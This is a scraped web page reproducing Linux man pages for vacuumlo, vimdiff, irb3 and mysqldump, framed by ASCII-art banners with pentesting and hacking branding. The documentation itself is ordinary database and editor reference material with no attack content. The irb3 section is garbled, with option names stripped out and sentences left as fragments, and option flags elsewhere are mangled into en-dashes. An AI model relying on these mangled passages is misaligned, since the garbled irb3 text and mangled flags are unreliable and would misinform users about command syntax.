             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2074 - Linux cli command vacuumlo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vacuumlo and provides detailed information about the command vacuumlo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vacuumlo.

NAME 🖥️ vacuumlo 🖥️

remove orphaned large objects from a PostgreSQL database

SYNOPSIS

vacuumlo [option…] dbname

DESCRIPTION

vacuumlo is a simple utility program that will remove any “orphaned” large objects from a PostgreSQL database. An orphaned large object (LO) is considered to be any LO whose OID does not appear in any oid or lo data column of the database.

If you use this, you may also be interested in the lo_manage trigger in the lo module. lo_manage is useful to try to avoid creating orphaned LOs in the first place.

All databases named on the command line are processed.

OPTIONS

vacuumlo accepts the following command-line arguments:

-l limit
**–limit=**limit

Remove no more than limit large objects per transaction (default 1000). Since the server acquires a lock per LO removed, removing too many LOs in one transaction risks exceeding max_locks_per_transaction. Set the limit to zero if you want all removals done in a single transaction.

-n
–dry-run

Dont remove anything, just show what would be done.

-v
–verbose

Write a lot of progress messages.

-V
–version

Print the vacuumlo version and exit.

-?
–help

Show help about vacuumlo command line arguments, and exit.

vacuumlo also accepts the following command-line arguments for connection parameters:

-h host
**–host=**host

Database servers host.

-p port
**–port=**port

Database servers port.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force vacuumlo to prompt for a password before connecting to a database.

This option is never essential, since vacuumlo will automatically prompt for a password if the server demands password authentication. However, vacuumlo will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

ENVIRONMENT

PGHOST
PGPORT
PGUSER

Default connection parameters.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

vacuumlo works by the following method: First, vacuumlo builds a temporary table which contains all of the OIDs of the large objects in the selected database. It then scans through all columns in the database that are of type oid or lo, and removes matching entries from the temporary table. (Note: Only types with these names are considered; in particular, domains over them are not considered.) The remaining entries in the temporary table identify orphaned LOs. These are removed.

AUTHOR

Peter Mount <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2075 - Linux cli command vimdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vimdiff and provides detailed information about the command vimdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vimdiff.

NAME 🖥️ vimdiff 🖥️

edit between two and eight versions of a file with Vim and show differences

SYNOPSIS

vimdiff [options] file1 file2 [file3 [file4 [file5 [file6 [file7 [file8]]]]]]

gvimdiff

DESCRIPTION

Vimdiff starts Vim on two up to eight files. Each file gets its own window. The differences between the files are highlighted. This is a nice way to inspect changes and to move changes from one version to another version of the same file.

See vim(1) for details about Vim itself.

When started as gvimdiff the GUI will be started, if available.

In each window the ‘diff’ option will be set, which causes the differences to be highlighted.
The ‘wrap’ and ‘scrollbind’ options are set to make the text look good.
The ‘foldmethod’ option is set to “diff”, which puts ranges of lines without changes in a fold. ‘foldcolumn’ is set to two to make it easy to spot the folds and open or close them.

OPTIONS

Vertical splits are used to align the lines, as if the “-O” argument was used. To use horizontal splits instead, use the “-o” argument.

For all other arguments see vim(1).

SEE ALSO

vim(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2076 - Linux cli command irb3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command irb3 and provides detailed information about the command irb3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the irb3.

is the REPL(read-eval-print loop) environment for Ruby programs.

Prints the version of

Same as `ruby -E’ . Specifies the default value(s) for external encodings and internal encoding. Values should be separated with colon (:).

You can omit the one for internal encodings, then the value

Same as `ruby -I’ . Specifies

directory

Same as `ruby -U’ . Sets the default value for internal encodings

Same as `ruby -d’ . Sets

to true.

Suppresses read of

Same as `ruby -w’ .

Same as `ruby -W’ .

Prints a summary of the options.

Same as `ruby -r’. Causes irb to load the library using require.

Uses `inspect’ for output (default except for bc mode)

Doesn’t use inspect for output

Uses multiline editor module.

Doesn’t use multiline editor module.

Uses singleline editor module.

Doesn’t use singleline editor module.

Add an extra doc dir for the doc dialog.

Show result (default).

Don’t show result.

Show result on assignment.

Don’t show result on assignment.

Show truncated result on assignment (default).

Use colorization.

Don’t use colorization.

Use autocompletion.

Don’t use autocompletion.

Show details.

Don’t show details.

Switch prompt mode. Pre-defined prompt modes are `default’, `simple’, `xmp’ and `inf-ruby'.

Uses prompt appropriate for inf-ruby-mode on emacs. Suppresses –multiline and –singleline.

Makes prompts simple.

No prompt mode.

Displays trace for each execution of commands.

Displays backtrace top

and tail

The default value is 16.

Also

depends on same variables as

Personal irb initialization.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Written by Keiju ISHITSUKA.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2077 - Linux cli command mysqldump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysqldump and provides detailed information about the command mysqldump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysqldump.

NAME 🖥️ mysqldump 🖥️

dump - a database backup program (mysqldump is now a symlink to mariadb-dump)

SYNOPSIS

**mysqldump [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqldump client is a backup program originally written by Igor Romanenko. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MariaDB server). The dump typically contains SQL statements to create the table, populate it, or both. However, mysqldump can also be used to generate files in CSV, other delimited text, or XML format.

If you are doing a backup on the server and your tables all are MyISAM tables, consider using the mysqlhotcopy instead because it can accomplish faster backups and faster restores. See mysqlhotcopy(1).

There are four general ways to invoke mysqldump:

shell> mysqldump [options] db_name [tbl_name …] shell> mysqldump [options] –databases db_name … shell> mysqldump [options] –all-databases shell> mysqldump [options] –system={options}

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are dumped.

mysqldump does not dump the INFORMATION_SCHEMA or performance_schema databases by default. To dump these, name them explicitly on the command line, although you must also use the –skip-lock-tables option.

To see a list of the options your version of mysqldump supports, execute mysqldump –help.

Some mysqldump options are shorthand for groups of other options:

·

Use of –opt is the same as specifying –add-drop-table, –add-locks, –create-options, –disable-keys, –extended-insert, –lock-tables, –quick, and –set-charset. All of the options that –opt stands for also are on by default because –opt is on by default.

·

Use of –compact is the same as specifying –skip-add-drop-table, –skip-add-locks, –skip-comments, –skip-disable-keys, and –skip-set-charset options.

To reverse the effect of a group option, uses its –skip-xxx form (–skip-opt or –skip-compact). It is also possible to select only part of the effect of a group option by following it with options that enable or disable specific features. Here are some examples:

·

To select the effect of –opt except for some features, use the –skip option for each feature. To disable extended inserts and memory buffering, use –opt –skip-extended-insert –skip-quick. (Actually, –skip-extended-insert –skip-quick is sufficient because –opt is on by default.)

·

To reverse –opt for all features except index disabling and table locking, use –skip-opt –disable-keys –lock-tables.

When you selectively enable or disable the effect of a group option, order is important because options are processed first to last. For example, –disable-keys –lock-tables –skip-opt would not have the intended effect; it is the same as –skip-opt by itself.

mysqldump can retrieve and dump table contents row by row, or it can retrieve the entire content from a table and buffer it in memory before dumping it. Buffering in memory can be a problem if you are dumping large tables. To dump tables row by row, use the –quick option (or –opt, which enables –quick). The –opt option (and hence –quick) is enabled by default, so to enable memory buffering, use –skip-quick.

If you are using a recent version of mysqldump to generate a dump to be reloaded into a very old MySQL server, you should not use the –opt or –extended-insert option. Use –skip-opt instead.

mysqldump supports the following options, which can be specified on the command line or in the [mysqldump] and [client] option file groups. mysqldump also supports the options for processing option file.

·

–help, -?

Display a help message and exit.

·

–add-drop-database

Add a DROP DATABASE statement before each CREATE DATABASE statement. This option is typically used in conjunction with the –all-databases or –databases option because no CREATE DATABASE statements are written unless one of those options is specified.

·

–add-drop-table

Add a DROP TABLE statement before each CREATE TABLE statement.

·

–add-drop-trigger

Add a DROP TRIGGER statement before each CREATE TRIGGER statement.

·

–add-locks

Surround each table dump with LOCK TABLES and UNLOCK TABLES statements. This results in faster inserts when the dump file is reloaded.

·

–all-databases, -A

Dump all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-tablespaces, -Y

Adds to a table dump all SQL statements needed to create any tablespaces used by an NDBCLUSTER table. This information is not otherwise included in the output from mysqldump. This option is currently relevant only to MySQL Cluster tables.

·

–allow-keywords

Allow creation of column names that are keywords. This works by prefixing each column name with the table name.

·

–apply-slave-statements

Adds ‘STOP SLAVE’ prior to ‘CHANGE MASTER’ and ‘START SLAVE’ to bottom of dump.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–comments, -i

Write additional information in the dump file such as program version, server version, and host. This option is enabled by default. To suppress this additional information, use –skip-comments.

·

–compact

Produce more compact output. This option enables the –skip-add-drop-table, –skip-add-locks, –skip-comments, –skip-disable-keys, and –skip-set-charset options.

·

**–compatible=**name

Produce output that is more compatible with other database systems or with older MySQL servers. The value of name can be ansi, mysql323, mysql40, postgresql, oracle, mssql, db2, maxdb, no_key_options, no_table_options, or no_field_options. To use several values, separate them by commas. These values have the same meaning as the corresponding options for setting the server SQL mode.

This option does not guarantee compatibility with other servers. It only enables those SQL mode values that are currently available for making dump output more compatible. For example, –compatible=oracle does not map data types to Oracle types or use Oracle comment syntax.

·

–complete-insert, -c

Use complete INSERT statements that include column names.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

–copy-s3-tables

By default S3 tables are ignored. With this option set, the result file will contain a CREATE statement for a similar Aria table, followed by the table data and ending with an ALTER TABLE xxx ENGINE=S3.

·

–create-options, -a

Include all MariaDB-specific table options in the CREATE TABLE statements. Use –skip-create-options to disable.

·

–databases, -B

Dump several databases. Normally, mysqldump treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names. CREATE DATABASE and USE statements are included in the output before each new database.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default value is ’d:t:o,/tmp/mysqldump.trace’.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

–default-auth

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set. If no character set is specified, mysqldump uses utf8.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**str,

Also read groups with a suffix of str. For example, since mysqldump normally reads the [client] and [mysqldump] groups, –defaults-group-suffix=x would cause it to also read the groups [mysqldump_x] and [client_x].

·

–delayed-insert

Write INSERT DELAYED statements rather than INSERT statements.

·

–delete-master-logs

On a master replication server, delete the binary logs by sending a PURGE BINARY LOGS statement to the server after performing the dump operation. This option automatically enables –master-data.

·

–disable-keys, -K

For each table, surround the INSERT statements with /*!40000 ALTER TABLE tbl_name DISABLE KEYS */; and /*!40000 ALTER TABLE tbl_name ENABLE KEYS */; statements. This makes loading the dump file faster because the indexes are created after all rows are inserted. This option is effective only for nonunique indexes of MyISAM tables.

·

–dump-date

If the –comments option is given, mysqldump produces a comment at the end of the dump of the following form:

– Dump completed on DATE

However, the date causes dump files taken at different times to appear to be different, even if the data are otherwise identical. –dump-date and –skip-dump-date control whether the date is added to the comment. The default is –dump-date (include the date in the comment). –skip-dump-date suppresses date printing

·

–dump-slave[=value]

Used for producing a dump file from a replication slave server that can be used to set up another slave server with the same master. Causes the binary log position and filename of the master to be appended to the dumped data output. Setting the value to 1 (the default) will print it as a CHANGE MASTER command in the dumped data output; if set to 2, that command will be prefixed with a comment symbol. This option will turn –lock-all-tables on, unless –single-transaction is specified too (in which case a global read lock is only taken a short time at the beginning of the dump - don’t forget to read about –single-transaction below). In all cases any action on logs will happen at the exact moment of the dump. Option automatically turns –lock-tables off. Using this option causes mysqldump to stop the slave SQL thread before beginning the dump, and restart it again after completion.

·

–events, -E

Include Event Scheduler events for the dumped databases in the output.

·

–extended-insert, -e

Use multiple-row INSERT syntax that include several VALUES lists. This results in a smaller dump file and speeds up inserts when the file is reloaded.

·

–fields-terminated-by=…, –fields-enclosed-by=…, –fields-optionally-enclosed-by=…, –fields-escaped-by=…

These options are used with the –tab option and have the same meaning as the corresponding FIELDS clauses for LOAD DATA INFILE.

·

–first-slave

Removed in MariaDB 5.5. Use –lock-all-tables instead.

·

–flashback, -B

Support flashback mode.

·

–flush-logs, -F

Flush the MariaDB server log files before starting the dump. This option requires the RELOAD privilege. If you use this option in combination with the –all-databases option, the logs are flushed for each database dumped. The exception is when using –lock-all-tables or –master-data: In this case, the logs are flushed only once, corresponding to the moment that all tables are locked. If you want your dump and the log flush to happen at exactly the same moment, you should use –flush-logs together with either –lock-all-tables or –master-data.

·

–flush-privileges

Send a FLUSH PRIVILEGES statement to the server after dumping the mysql database. This option should be used any time the dump contains the mysql database and any other database that depends on the data in the mysql database for proper restoration.

·

–force, -f

Continue even if an SQL error occurs during a table dump.

One use for this option is to cause mysqldump to continue executing even when it encounters a view that has become invalid because the definition refers to a table that has been dropped. Without –force, mysqldump exits with an error message. With –force, mysqldump prints the error message, but it also writes an SQL comment containing the view definition to the dump output and continues executing.

·

–gtid

Available from MariaDB 10.0.13, and is used together with –master-data and –dump-slave to more conveniently set up a new GTID slave. It causes those options to output SQL statements that configure the slave to use the global transaction ID to connect to the master instead of old-style filename/offset positions. The old-style positions are still included in comments when –gtid is used; likewise the GTID position is included in comments even if –gtid is not used.

·

–header

Used together with –tab. When enabled, adds header with column names to the top of output txt files.

·

–hex-blob

Dump binary columns using hexadecimal notation (for example, ‘abc’ becomes 0x616263). The affected data types are BINARY, VARBINARY, the BLOB types, and BIT.

·

**–host=**host_name, -h host_name

Dump data from the MariaDB server on the given host. The default host is localhost.

·

**–ignore-table=**db_name.tbl_name

Do not dump the given table, which must be specified using both the database and table names. To ignore multiple tables, use this option multiple times. This option also can be used to ignore views.

·

–include-master-host-port

Add the MASTER_HOST and MASTER_PORT options for the CHANGE MASTER TO statement when using the –dump-slave option for a slave dump.

·

–insert-ignore

Write INSERT IGNORE statements rather than INSERT statements.

·

–lines-terminated-by=…

This option is used with the –tab option and has the same meaning as the corresponding LINES clause for LOAD DATA INFILE.

·

–lock-all-tables, -x

Lock all tables across all databases. This is achieved by acquiring a global read lock for the duration of the whole dump. This option automatically turns off –single-transaction and –lock-tables.

·

–lock-tables, -l

For each dumped database, lock all tables to be dumped before dumping them. The tables are locked with READ LOCAL to allow concurrent inserts in the case of MyISAM tables. For transactional tables such as InnoDB, –single-transaction is a much better option than –lock-tables because it does not need to lock the tables at all.

Because –lock-tables locks tables for each database separately, this option does not guarantee that the tables in the dump file are logically consistent between databases. Tables in different databases may be dumped in completely different states.

Use –skip-lock-tables to disable.

·

**–log-error=**file_name

Log warnings and errors by appending them to the named file. The default is to do no logging.

·

–log-queries

When restoring the dump, the server will, if logging is turned on, log the queries to the general and slow query log. Defaults to on; use –skip-log-queries to disable.

·

–master-data[=value]

Use this option to dump a master replication server to produce a dump file that can be used to set up another server as a slave of the master. It causes the dump output to include a CHANGE MASTER TO statement that indicates the binary log coordinates (file name and position) of the dumped server. These are the master server coordinates from which the slave should start replicating after you load the dump file into the slave.

If the option value is 2, the CHANGE MASTER TO statement is written as an SQL comment, and thus is informative only; it has no effect when the dump file is reloaded. If the option value is 1, the statement is not written as a comment and takes effect when the dump file is reloaded. If no option value is specified, the default value is 1.

This option requires the RELOAD privilege and the binary log must be enabled.

The –master-data option automatically turns off –lock-tables. It also turns on –lock-all-tables, unless –single-transaction also is specified. In all cases, any action on logs happens at the exact moment of the dump.

It is also possible to set up a slave by dumping an existing slave of the master. To do this, use the following procedure on the existing slave:

1.

Stop the slave’s SQL thread and get its current status:

mysql> STOP SLAVE SQL_THREAD; mysql> SHOW SLAVE STATUS;

2.

From the output of the SHOW SLAVE STATUS statement, the binary log coordinates of the master server from which the new slave should start replicating are the values of the Relay_Master_Log_File and Exec_Master_Log_Pos fields. Denote those values as file_name and file_pos.

3.

Dump the slave server:

shell> mysqldump –master-data=2 –all-databases > dumpfile

4.

Restart the slave:

mysql> START SLAVE;

5.

On the new slave, load the dump file:

shell> mysql < dumpfile

6.

On the new slave, set the replication coordinates to those of the master server obtained earlier:

mysql> CHANGE MASTER TO -> MASTER_LOG_FILE = ‘file_name’, MASTER_LOG_POS = file_pos;

The CHANGE MASTER TO statement might also need other parameters, such as MASTER_HOST to point the slave to the correct master server host. Add any such parameters as necessary.

·

**–max-allowed-packet=**length

Sets the maximum packet length to send to or receive from server.

·

**–max-statement-time=**seconds

Sets the maximum time any statement can run before being timed out by the server. (Default value is 0 (no limit))

·

**–net-buffer-length=**length

Sets the buffer size for TCP/IP and socket communication.

·

–no-autocommit

Enclose the INSERT statements for each dumped table within SET autocommit = 0 and COMMIT statements.

·

–no-create-db, -n

This option suppresses the CREATE DATABASE statements that are otherwise included in the output if the –databases or –all-databases option is given.

·

–no-create-info, -t

Do not write CREATE TABLE statements that re-create each dumped table.

·

–no-data, -d

Do not write any table row information (that is, do not dump table contents). This is useful if you want to dump only the CREATE TABLE statement for the table (for example, to create an empty copy of the table by loading the dump file).

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–no-set-names, -N

This has the same effect as –skip-set-charset.

·

–opt

This option is shorthand. It is the same as specifying –add-drop-table –add-locks –create-options –disable-keys –extended-insert –lock-tables –quick –set-charset. It should give you a fast dump operation and produce a dump file that can be reloaded into a MariaDB server quickly.

The –opt option is enabled by default. Use –skip-opt to disable it. See the discussion at the beginning of this section for information about selectively enabling or disabling a subset of the options affected by –opt.

·

–order-by-primary

Dump each table’s rows sorted by its primary key, or by its first unique index, if such an index exists. This is useful when dumping a MyISAM table to be loaded into an InnoDB table, but will make the dump operation take considerably longer.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqldump prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

–plugin-dir

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

This option is useful for dumping large tables. It forces mysqldump to retrieve rows for a table from the server a row at a time rather than retrieving the entire row set and buffering it in memory before writing it out.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–quote-names, -Q

Quote identifiers (such as database, table, and column names) within “`” characters. If the ANSI_QUOTES SQL mode is enabled, identifiers are quoted within “"” characters. This option is enabled by default. It can be disabled with –skip-quote-names, but this option should be given after any option such as –compatible that may enable –quote-names.

·

–replace

Write REPLACE statements rather than INSERT statements.

·

**–result-file=**file_name, -r file_name

Direct output to a given file. This option should be used on Windows to prevent newline “ ” characters from being converted to “ ” carriage return/newline sequences. The result file is created and its previous contents overwritten, even if an error occurs while generating the dump.

·

–routines, -R

Included stored routines (procedures and functions) for the dumped databases in the output. Use of this option requires the SELECT privilege for the mysql.proc table. The output generated by using –routines contains CREATE PROCEDURE and CREATE FUNCTION statements to re-create the routines. However, these statements do not include attributes such as the routine creation and modification timestamps. This means that when the routines are reloaded, they will be created with the timestamps equal to the reload time.

If you require routines to be re-created with their original timestamp attributes, do not use –routines. Instead, dump and reload the contents of the mysql.proc table directly, using a MariaDB account that has appropriate privileges for the mysql database.

·

–set-charset

Add SET NAMES default_character_set to the output. This option is enabled by default. To suppress the SET NAMES statement, use –skip-set-charset.

·

–single-transaction

This option sends a START TRANSACTION SQL statement to the server before dumping data. It is useful only with transactional tables such as InnoDB, because then it dumps the consistent state of the database at the time when BEGIN was issued without blocking any applications.

When using this option, you should keep in mind that only InnoDB tables are dumped in a consistent state. For example, any MyISAM or MEMORY tables dumped while using this option may still change state.

While a –single-transaction dump is in process, to ensure a valid dump file (correct table contents and binary log coordinates), no other connection should use the following statements: ALTER TABLE, CREATE TABLE, DROP TABLE, RENAME TABLE, TRUNCATE TABLE. A consistent read is not isolated from those statements, so use of them on a table to be dumped can cause the SELECT that is performed by mysqldump to retrieve the table contents to obtain incorrect contents or fail.

The –single-transaction option and the –lock-tables option are mutually exclusive because LOCK TABLES causes any pending transactions to be committed implicitly.

To dump large tables, you should combine the –single-transaction option with –quick.

·

–skip-add-drop-table

Disable the –add-drop-table option.

·

–skip-add-locks

Disable the –add-locks option.

·

–skip-comments

Disable the –comments option.

·

–skip-compact

Disable the –compact option.

·

–skip-disable-keys

Disable the –disable-keys option.

·

–skip-extended-insert

Disable the –extended-insert option.

·

–skip-opt

Disable the –opt option.

·

–skip-quick

Disable the –quick option.

·

–skip-quote-names

Disable the –quote-names option.

·

–skip-set-charset

Disable the –set-charset option.

·

–skip-triggers

Disable the –triggers option.

·

–skip-tz-utc

Disable the –tz-utc option.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–system={all, users, plugins, udfs, servers, stats, timezones}

Dump the system tables in the mysql database in a logical form. This option is an empty set by default.

One or more options can be listed in comma separated list.

The options here are:

·

all - an alias to enabling all of the below options.

·

users - the users, roles and their grants outputed as CREATE USER, CREATE ROLE, GRANT, and SET DEFAULT ROLE (ALTER USER for MySQL-8.0+).

·

plugins - active plugins of the server outputed as INSTALL PLUGIN.

·

udfs - user define functions outputed as CREATE FUNCTION.

·

servers - remote (federated) servers as CREATE SERVER.

·

stats - statistics tables, InnoDB and Engine Independent Table Statistics (EITS), are dumped as REPLACE INTO (or INSERT IGNORE if –insert-ignore is specified) statements without (re)creating tables.

·

timezones - timezone related system tables dumped as REPLACE INTO (or INSERT IGNORE if –insert-ignore is specified) statements without (re)creating tables.

The format of the output is affected by –replace and –insert-ignore. The –replace option will output CREATE OR REPLACE forms of SQL, and also DROP IF EXISTS prior to CREATE, if a CREATE OR REPLACE option isn’t available.

With –system=user (or all), and –replace, SQL is generated to generate an error if attempting to import the dump with a connection user that is being replaced within the dump.

The –insert-ignore option will cause CREATE IF NOT EXIST forms of SQL to generated if available.

For stats, and timezones, –replace and –insert-ignore have the usual effects.

Enabling specific options here will cause the relevant tables in the mysql database to be ignored when dumping the mysql database or –all-databases.

To help in migrating from MySQL to MariaDB, this option is designed to be able to dump system information from MySQL-5.7 and 8.0 servers. SQL generated is also experimentally compatible with MySQL-5.7/8.0. Mappings of implementation specific grants/plugins isn’t always one-to-one however between MariaDB and MySQL and will require manual changes.

·

**–tab=**path, -T path

Produce tab-separated text-format data files. For each dumped table, mysqldump creates a tbl_name.sql file that contains the CREATE TABLE statement that creates the table, and the server writes a tbl_name.txt file that contains its data. The option value is the directory in which to write the files.

Note

This option should be used only when mysqldump is run on the same machine as the mysqld server. You must have the FILE privilege, and the server must have permission to write files in the directory that you specify.

By default, the .txt data files are formatted using tab characters between column values and a newline at the end of each line. The format can be specified explicitly using the **–fields-**xxx and –lines-terminated-by options.

Column values are converted to the character set specified by the –default-character-set option.

·

–tables

Override the –databases or -B option. mysqldump regards all name arguments following the option as table names.

·

–triggers

Include triggers for each dumped table in the output. This option is enabled by default; disable it with –skip-triggers.

·

–tz-utc

This option enables TIMESTAMP columns to be dumped and reloaded between servers in different time zones. mysqldump sets its connection time zone to UTC and adds SET TIME_ZONE=’+00:00’ to the dump file. Without this option, TIMESTAMP columns are dumped and reloaded in the time zones local to the source and destination servers, which can cause the values to change if the servers are in different time zones. –tz-utc also protects against changes due to daylight saving time. –tz-utc is enabled by default. To disable it, use –skip-tz-utc.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

·

–where=’where_condition, -w ‘where_condition

Dump only rows selected by the given WHERE condition. Quotes around the condition are mandatory if it contains spaces or other characters that are special to your command interpreter.

Examples:

–where=“user=‘jimf’” -w"userid>1" -w"userid<1"

·

–xml, -X

Write dump output as well-formed XML.

NULL, ‘NULL’, and Empty Values: For a column named column_name, the NULL value, an empty string, and the string value ‘NULL’ are distinguished from one another in the output generated by this option as follows.

Value:XML Representation:
NULL (unknown value)<field name="column_name" xsi:nil="true" />
'' (empty string)<field name="column_name"></field>
'NULL' (string value)<field name="column_name">NULL</field>

The output from the mysql client when run using the –xml option also follows the preceding rules. (See the section called “MYSQL OPTIONS”.)

XML output from mysqldump includes the XML namespace, as shown here:

shell> mysqldump –xml -u root world City <table_structure name=“City”> </table_structure> <table_data name=“City”> 1 Kabul AFG Kabol 1780000 4079 Rafah PSE Rafah 92020 </table_data>

